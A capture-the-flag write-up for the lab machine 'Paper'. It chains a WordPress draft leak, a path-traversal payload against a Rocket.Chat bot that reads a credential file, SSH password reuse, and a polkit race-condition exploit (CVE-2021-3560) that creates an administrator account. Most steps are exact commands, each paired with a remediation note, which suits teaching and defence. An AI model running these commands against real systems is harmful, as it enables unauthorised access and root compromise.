Paper
Summary
I read a hidden WordPress draft post that disclosed a private Rocket.Chat registration link, registered an account on the company's internal chat platform, then exploited a path-traversal flaw in a Rocket.Chat automation bot to read a cleartext credential file on the server. The recovered password was reused as the SSH login for user dwight, granting an interactive shell and the user flag.
From that foothold, a publicly available race-condition exploit against the unpatched polkit service (CVE-2021-3560) created a new administrator-level local account, which I used to obtain a root shell and capture the root flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export TOKEN="<the-token-you-captured>"
export TOKEN2="<the-token-you-captured>"Some commands also carry a value in angle brackets — <probe-password> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Port and version scan to identify exposed services.
$ nmap -sC -sV -p 22,80,443 $TARGETReads the X-Backend-Server response header that leaks the vhost name.
$ curl -sI http://$TARGET | grep -i x-backendAdds discovered vhosts to the local resolver.
$ echo "$TARGET office.paper chat.office.paper" >> /etc/hostsFixStrip internal hostnames from HTTP response headersLow
Exact commands 2
Triggers the draft-disclosure bug; the output contains the private Rocket.Chat invite URL.
$ curl -s 'http://office.paper/?static=1' | grep -i 'chat\|register\|http'Page through additional drafts in case more secrets exist.
$ curl -s 'http://office.paper/?static=1&page=1' | grep -i 'secret\|password\|link'FixUpdate WordPress to patch unauthenticated draft-post disclosure (CVE-2019-17671)High
Exact commands 2
Self-registration via the invite URL found in the WordPress draft.
$ # Navigate browser to http://chat.office.paper/register/$TOKEN2 and create account 'probe'Authenticates the probe account via REST API; returns authToken and userId for subsequent calls.
$ curl -s -X POST http://chat.office.paper/api/v1/login -H 'Content-Type: application/json' -d '{"user":"probe","password":"<probe-password>"}'FixRevoke and restrict Rocket.Chat self-registration invite linksMedium
Exact commands 3
Opens a direct-message channel with the recyclops bot.
$ curl -s -X POST http://chat.office.paper/api/v1/im.create -H "X-Auth-Token: $TOKEN" -H 'X-User-Id: rL8uP4PBgoBxLXhTT' -H 'Content-Type: application/json' -d '{"username":"recyclops"}'Sends the path-traversal payload; the bot reads the file and replies with its contents.
$ curl -s -X POST http://chat.office.paper/api/v1/chat.sendMessage -H "X-Auth-Token: $TOKEN" -H 'X-User-Id: rL8uP4PBgoBxLXhTT' -H 'Content-Type: application/json' -d '{"message":{"rid":"WoxmTzWbvoijWkN5XrL8uP4PBgoBxLXhTT","msg":"recyclops file ../hubot/.env"}}'Reads the bot's reply from the message history, which contains the .env file contents.
$ curl -s 'http://chat.office.paper/api/v1/channels.messages?roomId=WoxmTzWbvoijWkN5XrL8uP4PBgoBxLXhTT&count=5' -H "X-Auth-Token: $TOKEN" -H 'X-User-Id: rL8uP4PBgoBxLXhTT'FixRestrict the recyclops bot to a safe directory and validate all file-path inputsCritical
Exact commands 1
The password appears in plaintext in the .env file returned by the recyclops bot.
$ # From the bot reply, extract: ROCKETCHAT_PASSWORD=$PASSWORDFixEliminate plaintext credentials in configuration files and enforce unique passwordsCritical
Exact commands 2
Authenticates via SSH using the credential recovered from the hubot .env file.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no dwight@$TARGETReads the user flag: <user.txt>
$ cat /home/dwight/user.txtExact commands 5
Confirm vulnerable polkit version is installed (affected: < 0.117-2.el8_4).
$ rpm -qa polkitRaces the polkit authentication check to create user adm3500 with administrator (wheel) group membership.
$ bash -c 'for i in $(seq 1 200); do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:adm3500 string:"" int32:1 & sleep 0.005s; kill $!; done'Races the polkit check to set the password for adm3500 to 'password'. Adjust /User1005 UID to match the newly created account.
$ PWHASH=$(python3 -c "import crypt; print(crypt.crypt('password', crypt.mksalt(crypt.METHOD_SHA512)))"); bash -c "for i in \$(seq 1 200); do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1005 org.freedesktop.Accounts.User.SetPassword string:'$PWHASH' string:'' & sleep 0.005s; kill \$!; done"Confirms adm3500 has sudo access.
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no adm3500@$TARGET 'id; sudo -S id <<< password'Reads the root flag: <root.txt>
$ sshpass -p "$PASSWORD2" ssh -tt -o StrictHostKeyChecking=no adm3500@$TARGET 'echo password | sudo -S cat /root/root.txt'FixPatch polkit to remediate local privilege-escalation vulnerability (CVE-2021-3560)Critical
Attack patterns used
The transferable techniques behind this compromise.
CMS Exploitation (WordPress/Joomla/Drupal)WebT1190
What it is
Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).
Why it works
CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.
Read more
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.